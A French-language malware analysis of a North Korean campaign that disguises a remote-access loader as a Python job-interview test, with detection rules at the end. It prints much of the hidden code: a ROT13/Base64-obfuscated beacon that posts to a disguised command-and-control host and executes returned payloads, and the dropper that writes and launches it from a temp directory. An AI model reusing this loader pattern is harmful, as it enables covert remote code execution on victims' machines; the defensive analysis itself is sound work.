Colson Wilhoit

Code de conduite : Intrusions de la RPDC dans les réseaux sécurisés grâce à Python

En étudiant l'utilisation stratégique de Python et l'ingénierie sociale soigneusement élaborée par la RPDC, cette publication met en lumière la manière dont les réseaux hautement sécurisés sont violés par des cyberattaques évolutives et efficaces.

Code de conduite : les intrusions de la RPDC dans les réseaux sécurisés alimentées par Python

Préambule

Peu d'acteurs de la menace ont suscité autant d'attention et de notoriété que la République populaire démocratique de Corée (RPDC) dans le monde obscur des cyber-opérations parrainées par des États. Les groupes de menace affiliés à la RPDC ont constamment démontré qu'ils utilisaient des tactiques d'ingénierie sociale associées à des capacités tactiques. Au premier rang de leur arsenal se trouve une arme inattendue : Python.

Ce langage de programmation polyvalent, apprécié pour son accessibilité et sa puissance, est devenu l'outil des agents de la RPDC qui cherchent à obtenir un accès initial aux systèmes cibles. Ces acteurs de la menace ont réussi à pénétrer dans certains des réseaux les plus sécurisés au monde grâce à une combinaison puissante de stratagèmes d'ingénierie sociale méticuleusement élaborés et d'un code Python élégamment déguisé.

Cette publication examine l'utilisation par la RPDC de l'ingénierie sociale et de leurres basés sur Python pour l'accès initial. Sur la base des recherches publiées par l'équipe de Reversing Labs dans le cadre de la campagne VMConnect, nous allons explorer un exemple réel très récent, disséquer le code et examiner ce qui rend ces attaques si efficaces. En comprenant ces techniques, nous souhaitons faire la lumière sur l'évolution du paysage des cybermenaces parrainées par des États et doter les défenseurs des connaissances nécessaires pour les combattre.

Principaux points abordés dans cet article

  • La sophistication des tactiques d'ingénierie sociale de la RPDC implique souvent le développement d'un personnage à long terme et des récits ciblés.
  • L'utilisation de Python pour sa facilité d'obscurcissement, son support de bibliothèque étendu et sa capacité à se fondre dans les activités légitimes du système.
  • Ces leurres témoignent de l'évolution constante des techniques de la RPDC, ce qui souligne la nécessité d'une vigilance et d'une adaptation permanentes dans les stratégies de cyberdéfense.
  • Le script Python de cette campagne comprend des modules qui permettent d'exécuter des commandes système et d'écrire et d'exécuter des fichiers locaux

RookeryCapital_PythonTest.zip

Cet échantillon est distribué sous la forme d'un défi de codage Python pour un entretien d'embauche chez "Capital One". Il contient un module Python connu qui semble innocent à première vue. Ce module comprend une fonctionnalité standard de gestion du presse-papiers, mais il contient également un code obscurci capable d'exfiltrer des données et d'exécuter des commandes arbitraires.

En utilisant des techniques d'encodage telles que Base64 et ROT13, l'attaquant a camouflé une fonctionnalité dangereuse afin d'échapper à la détection par les réviseurs humains et les analyses de sécurité automatisées. Le code se connecte à un serveur distant, télécharge et exécute des commandes sous le couvert d'opérations sur le presse-papiers. C'est un exemple parfait de la facilité avec laquelle une fonctionnalité malveillante peut être masquée dans un code standard.

Nous analyserons cette application Python ligne par ligne, pour découvrir comment elle fonctionne :

  • Établit une connexion avec un serveur malveillant
  • Exécution de commandes cachées via l'exécution de code à distance (RCE)
  • Utilise des techniques d'obscurcissement courantes pour passer inaperçu
  • intègre des mécanismes de tentatives persistantes pour garantir la réussite de la communication

PasswordManager.py

Ce "défi Python" est fourni via un fichier .zip contenant une application Python appelée "PasswordManager". Cette application se compose principalement d'un script principal, PasswordManager.py, et de deux modules Python, Pyperclip et Pyrebase.

En examinant d'abord le fichier README.md, il est évident qu'il s'agit d'une sorte de défi ou d'évaluation d'entretien, mais ce qui a immédiatement piqué notre intérêt, ce sont les lignes suivantes :

C'était intéressant car ils voulaient s'assurer que l'application était exécutée avant que l'utilisateur n'apporte des modifications susceptibles d'interrompre ou de rendre perceptible certaines fonctionnalités.

Le fichier principal PasswordManager.py ressemble à une application basique de gestion de mots de passe en Python. Bien entendu, comme nous l'avons noté plus haut, l'application importe deux modules tiers (Pyperclip et Pyrebase) dans ce script principal.

Pyperclip module

Le module Pyperclip comporte deux fichiers, __init__.py et __main__.py.

En Python, les modules sont souvent constitués de plusieurs fichiers, dont deux importants : __init__.py et __main__.py. Le fichier __init__.py initialise un paquetage Python, ce qui lui permet de fonctionner lorsqu'il est importé, tandis que le fichier __main__.py permet au module d'être exécuté en tant que programme autonome.

init.py

__init__.py est le premier module à être importé et facilite principalement les opérations du presse-papiers sur différentes plateformes (Windows, macOS, Linux, etc.). La majeure partie de ce code est conçue pour détecter la plateforme (Windows, Linux, macOS) et fournir les fonctions appropriées de gestion du presse-papiers (copier, coller), en s'appuyant sur des utilitaires natifs (par exemple, pbcopy pour macOS, xclip pour Linux) ou des bibliothèques Python (par exemple, gtk, PyQt4/PyQt5).

Les importations révèlent des fonctionnalités potentiellement intéressantes ou suspectes provenant de bibliothèques telles que base64, codecs, subprocess et tempfile. Le module base64 offre des capacités de codage ou de décodage qui peuvent être utilisées pour cacher ou obscurcir des informations sensibles. Associé à codecs, un autre module souvent utilisé pour coder ou décoder du texte (dans ce cas, à l'aide du code ROT13), il devient évident que le script manipule des données pour échapper à la détection.

La présence du module subprocess est particulièrement préoccupante. Ce module permet au script d'exécuter des commandes système, ouvrant ainsi la porte à l'exécution d'un code arbitraire sur la machine. Ce module peut exécuter des scripts externes, lancer des processus ou installer des binaires malveillants.

L'inclusion du site tempfile module est également remarquable. Ce module crée des fichiers temporaires dans lesquels il est possible d'écrire et d'exécuter, une technique couramment utilisée par les logiciels malveillants pour dissimuler leurs traces. Ce module suggère que le script peut écrire du contenu sur le disque et l'exécuter dans un répertoire temporaire.

import contextlib
import ctypes
import os
import platform
import subprocess
import sys
import time
import warnings
import requests
import datetime
import platform
import codecs
import base64
import tempfile
import subprocess
import os

init.py imports

En analysant le script, un gros blob encodé en base64 et assigné à la variable req_self se distingue rapidement.

req_self = "aW1wb3J0IHN0….Y29udGludWUNCg=="

Le décodage de cette chaîne encodée en Base64 révèle un script Python entièrement nouveau et autonome contenant du code très intéressant.

Script Python obfusqué

Le script importe plusieurs bibliothèques standard (par exemple, requests, random, platform), ce qui lui permet de générer des données aléatoires, d'interagir avec le système d'exploitation, de coder/décoder des chaînes de caractères et d'effectuer des requêtes sur le réseau.

import string
import random
import requests
import platform
from time import sleep
import base64
import os
import codecs

Importations de scripts Python codés

Le script contient deux fonctions nommées co et rand_n.

La fonction co fonctionne comme une fonction d'aide. Cette fonction vérifie le système d'exploitation actuel (osn). Il utilise la fonction codecs.decode avec l'encodage ROT13 pour décoder la chaîne Jvaqbjf, ce qui donne Windows. Si le système d'exploitation est Windows, il renvoie 0; sinon, il renvoie 1.

def co(osn):
  if osn == codecs.decode('Jvaqbjf', 'rot13'):
      return 0
  else:
      return 1

co dans un script Python codé

Le décodage de ROT13 peut être facilement effectué sur le CLI de macOS ou Linux ou avec la recette CyberChef ROT13.

$ echo "Jvaqbjf" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Windows

La fonction rand_n génère un nombre pseudo-aléatoire de 8 chiffres à partir de la chaîne 123456789. Il est susceptible d'être utilisé comme identifiant (uid) dans les communications ultérieures avec le serveur distant.

def rand_n():
  _LENGTH = 8
  str_pool = "123456789"
  result = ""
  for i in range(_LENGTH):
      result += random.choice(str_pool)
  return result

rand_n dans un script Python codé

Après la déclaration des fonctions, le script définit un ensemble de variables avec des valeurs codées en dur qu'il utilisera.

uid = rand_n()
f_run = ""
oi = platform.system()
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
headers = {"Content-Type": "application/json; charset=utf-8"}
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + "pfrr" + str(co(oi))

Variables de script Python codées

  • uid: Identifiant aléatoire généré à l'aide de rand_n()
  • oi: La plate-forme du système d'exploitation
  • url: Après décodage à l'aide de ROT13, l'URL est celle d'un serveur malveillant(https://akamaitechnologies[.]online). L'acteur de la menace tente manifestement d'échapper à la détection en encodant l'URL et en la déguisant en un service apparemment légitime (Akamai), qui est un fournisseur CDN connu.
  • data: Il s'agit des données utiles envoyées au serveur. Il comprend une chaîne décodée (Amazon[.]com), l'identifiant aléatoire et le résultat de co(oi) qui vérifie si le système d'exploitation est Windows.

La dernière partie du script est la boucle while principale.

while True:
  try:
      response = requests.post(url, headers=headers, data=data)
      if response.status_code != 200:
          sleep(60)
          continue
      else:
          res_str = response.text
          if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) > 15:
              res = response.text
              borg = res[10:]
              dec_res = base64.b64decode(borg).decode('utf-8')

              globals()['pu_1'] = uid
              globals()['pu_2'] = url
              exec(compile(dec_res, '', 'exec'), globals())
              sleep(1)
              break
          else:
              sleep(20)
              pass

  except:
      sleep(60)
      continue

Script Python codé boucle principale while

Le premier bloc d'essai envoie une requête HTTP POST au serveur malveillant (url) avec les en-têtes et les données. Si le serveur répond par un code d'état autre que 200 OK, le script attend 60 secondes et réessaie.

Sinon, si la réponse commence par la chaîne décodée "Google.com et que la longueur de la réponse est supérieure à 15, il extrait une partie de la réponse codée en base64. Il décode ensuite cette partie et exécute le script décodé à l'aide de exec(compile(dec_res, '', 'exec'), globals()). Cela permet à l'attaquant d'envoyer un code Python arbitraire à exécuter sur la machine de la victime.

Vers la fin de la boucle, il définit des variables globales avec l'identifiant aléatoire et l'URL utilisée dans la communication avec le serveur distant. Il est utilisé ultérieurement lors de l'exécution de la charge utile téléchargée.

Maintenant que nous comprenons l'objectif du script Python encodé, revenons au script __inity__.py et décomposons la fonction qui exécute la section encodée en base64.

inity.py

De retour dans le script __inity__.py, nous pouvons rechercher toute autre référence à la variable req_self pour voir ce que le script fait avec ce script Python codé. Nous trouvons une seule référence située dans une fonction définie comme cert_acc.

def cert_acc():
  ct_type = platform.system()
  l_p = tempfile.gettempdir()

  if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

  request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
  try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
cert_acc()
ct_type = platform.system()

Cette variable récupère le type de système d'exploitation actuel (par exemple, Windows, Linux, Darwin pour macOS) à l'aide de la fonction platform.system(). La valeur est stockée dans la variable ct_type.

l_p = tempfile.gettempdir()

Cette variable appelle la fonction tempfile.gettempdir() function, qui renvoie le chemin d'accès au répertoire temporaire du système. Ce répertoire est généralement utilisé pour stocker les fichiers temporaires que le système ou les programmes créent et suppriment au redémarrage. La valeur est affectée à l_p.

Le bloc if-else tire parti de la fonction de décodage de la bibliothèque des codecs en utilisant ROT13 pour décoder la chaîne Jvaqbjf, qui se traduit par Windows. Cette opération vérifie si le type de système est Windows. Si le système est Windows, le code ajoute une chaîne décodée en ROT13 (qui s'avère être \eronfr.gzc, \rebase.tmp après décodage) au chemin du répertoire temporaire l_p. Il construit ensuite une commande header_ops, qui combine probablement la variable décodée push_opr (utilisant également ROT13) avec le chemin d'accès.

Si le système n'est pas Windows, il ajoute un chemin de fichier de type Unix /eronfr.gzc (/rebase.tmp après décodage) et construit de la même manière une commande à l'aide de push_ops. Cette partie du code est conçue pour exécuter différentes charges utiles ou commandes en fonction du système d'exploitation.

if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

Les instructions suivantes, commençant par request_, servent à écrire le script Python codé en Base64 que nous avons déjà analysé à disk in the temporary directory. This code opens a new file in the temporary directory (l_p), which was previously set depending on the system type. The variable req_self` (également une chaîne codée en Base64) est décodé dans sa forme originale. Le contenu décodé est écrit dans le fichier et le fichier est fermé.

request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()

Le bloc final de la fonction try facilite l'exécution du script Python codé.

Si le type de système est Windows, le code tente d'exécuter le fichier (construit dans header_ops) à l'aide de la commande subprocess.Popen function. L'option DETACHED_PROCESS garantit que le processus s'exécute indépendamment du processus parent, ce qui le rend plus difficile à suivre.

Si le système n'est pas Windows, il exécute le fichier en utilisant une méthode d'exécution différente (subprocess.Popen avec shell=True), qui est plus courante pour les systèmes de type Unix (Linux/macOS). Le site preexec_fn=os.setpgrp rend le processus insensible aux interruptions du terminal, ce qui lui permet de fonctionner en arrière-plan.

try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass

La fonction cert_acc exécute le script Python obscurci, qui récupère les commandes à exécuter dans la fonction cert_acc.

Le script contenu dans le paquet Pyperclip présente des signes évidents de comportement malveillant, utilisant des techniques d'obscurcissement telles que le codage ROT13 et Base64 pour dissimuler sa véritable intention. Il identifie le système d'exploitation et adapte ses actions en conséquence, en écrivant sur le disque et en exécutant un script Python obscurci dans le répertoire temporaire du système. Le script établit une communication avec un serveur distant, ce qui permet l'exécution de code à distance (RCE) et permet à l'attaquant d'envoyer d'autres commandes. Ce processus soigneusement dissimulé permet au script de s'exécuter furtivement et d'éviter d'être détecté tout en conservant un C2 (commandement et contrôle) efficace sur la machine infectée.

Intersections de campagne

Lorsque nous avons trouvé cet échantillon, nous sommes également tombés sur d'autres échantillons qui correspondaient à son code d'implémentation et aux précédents leurres de campagne que nous avons observés dans la nature.

Ce leurre se présente à nouveau sous la forme d'un défi de codage Python organisé sous la forme d'un entretien d'embauche. L'implémentation du code Python correspond exactement au code que nous avons analysé ci-dessus et, d'après la description et le nom du fichier, il correspond au leurre décrit par Mandiant sous le nom de "CovertCatch".

Le leurre suivant est différent des précédents mais correspond à l'implémentation du code Python que nous avons vu et écrit précédemment. L'année dernière, nous avons mis en lumière le logiciel malveillant connu sous le nom de "KandyKorn" qui ciblait les développeurs et les ingénieurs spécialisés dans les crypto-monnaies.

Stratégies de détection, de chasse et d'atténuation

La détection et l'atténuation de ce type de code malveillant obscurci et de son comportement nécessitent une combinaison de mesures de sécurité proactives, de surveillance et de sensibilisation des utilisateurs.

La meilleure stratégie d'atténuation de ces leurres et des campagnes d'accès initial consiste à informer vos utilisateurs des méthodes étendues et ciblées que les acteurs de la menace, comme la RPDC, emploient pour obtenir l'exécution du code. La connaissance de ces campagnes et la capacité à les reconnaître, combinées à une forte insistance sur l'analyse correcte du code avant son exécution, en particulier lorsqu'il s'agit d'applications tierces comme celles-ci, de "recruteurs", de "forums de développeurs", de "Github", etc.

En ce qui concerne cet échantillon en particulier, il y a quelques détections différentes que nous pouvons écrire autour du comportement du mécanisme d'exécution du code et des cas d'utilisation potentiels associés à cette activité. Bien que ces requêtes soient spécifiques à macOS, vous pouvez les modifier pour détecter la même activité sous Windows.

[Détection] Exécution du fichier temporaire du shell du sous-processus Python et connexion réseau à distance

sequence by process.parent.entity_id with maxspan=3s
[process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("sh", "zsh", "bash") and process.args == "-c" and process.args : "python*"]
[network where event.type == "start"]

Cette règle recherche le comportement spécifique observé lorsque l'exemple __init__.py écrit le script Python obscurci sur le disque et utilise la méthode subprocess.Popen, en fixant la variable shell à True pour exécuter le script Python qui se connecte à un serveur distant afin de récupérer et d'exécuter des commandes.

[Hunt] Création d'un fichier exécutable Python dans le répertoire temporaire

file where event.type == "modification" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")
 and (process.name : "python*" or Effective_process.name : "python*") and file.path : ("/private/tmp/*", "/tmp/*")

Si l'auteur de la menace tente d'utiliser cette fonctionnalité pour télécharger une charge utile exécutable dans le répertoire temporaire déjà spécifié dans le script, nous pourrions utiliser cette règle pour rechercher la création d'un fichier exécutable dans un répertoire temporaire via Python.

[Hunt] Exécution interactive d'un shell via Python

process where host.os.type == "macos" and event.type == "start" and event.action == "exec" 
and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash")
 and process.args == "-i" and process.args_count == 2

L'acteur de la menace peut utiliser la fonctionnalité d'exécution pour ouvrir un shell interactif sur le système cible afin d'effectuer des actions de post-exploitation. Nous avons vu des acteurs étatiques utiliser un shell interactif de ce type. Nous pourrions utiliser cette règle pour rechercher la création de ce shell interactif via Python.

[Hunt] Exécution suspecte d'un processus enfant Python

process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("screencapture", "security", "csrutil", "dscl", "mdfind", "nscurl", "sqlite3", "tclsh", "xattr")

L'acteur de la menace pourrait également utiliser cette capacité d'exécution de code pour exécuter directement les binaires du système pour divers objectifs ou actions post-exploitation. Cette règle recherche l'exécution directe de certains outils du système local qui ne sont pas couramment utilisés, en particulier via Python.

Conclusion et tendances futures

Comme nous l'avons vu tout au long de cette analyse, la République populaire démocratique de Corée (RPDC) s'est imposée comme une force redoutable dans les cyber-opérations parrainées par des États. Combinant l'ingénierie sociale avec des leurres basés sur Python, leur approche s'est avérée fructueuse dans des organisations dont le niveau de maturité en matière de sécurité est très varié.

L'utilisation de Python pour les opérations d'accès initial témoigne de la nature évolutive des cybermenaces. En tirant parti de ce langage de programmation polyvalent et largement utilisé, les acteurs de la menace ont trouvé un outil puissant qui offre à la fois la simplicité dans le développement et la complexité dans l'obscurcissement. Cette double nature du Python entre leurs mains s'est avérée être un défi important pour les défenseurs de la cybersécurité.

Notre étude approfondie de cet échantillon récent a fourni des informations précieuses sur les tactiques, techniques et procédures (TTP) actuelles des acteurs de la menace de la RPDC. Cette étude de cas montre comment l'ingénierie sociale et les scripts Python personnalisés peuvent fonctionner en tandem comme des vecteurs d'accès initiaux très efficaces.

À mesure que les cyber-opérations parrainées par des États progressent, les connaissances acquises en étudiant les méthodes de la RPDC deviennent de plus en plus précieuses. Les professionnels de la cybersécurité doivent rester vigilants face à la double menace de l'ingénierie sociale et des outils sophistiqués basés sur Python. La défense contre ces menaces nécessite une approche à plusieurs facettes, notamment des contrôles techniques robustes, une formation complète du personnel sur les tactiques d'ingénierie sociale et des capacités de détection des menaces avancées axées sur l'identification des activités suspectes de Python.

Pour aller de l'avant, il est essentiel de favoriser la collaboration au sein de la communauté de la cybersécurité et de partager des idées et des stratégies pour contrer ces menaces sophistiquées. Nous espérons garder une longueur d'avance dans ce jeu d'échecs cybernétique contre des acteurs parrainés par des États comme la RPDC grâce à une vigilance collective et à des mécanismes de défense adaptatifs.

Ressources

Partager cet article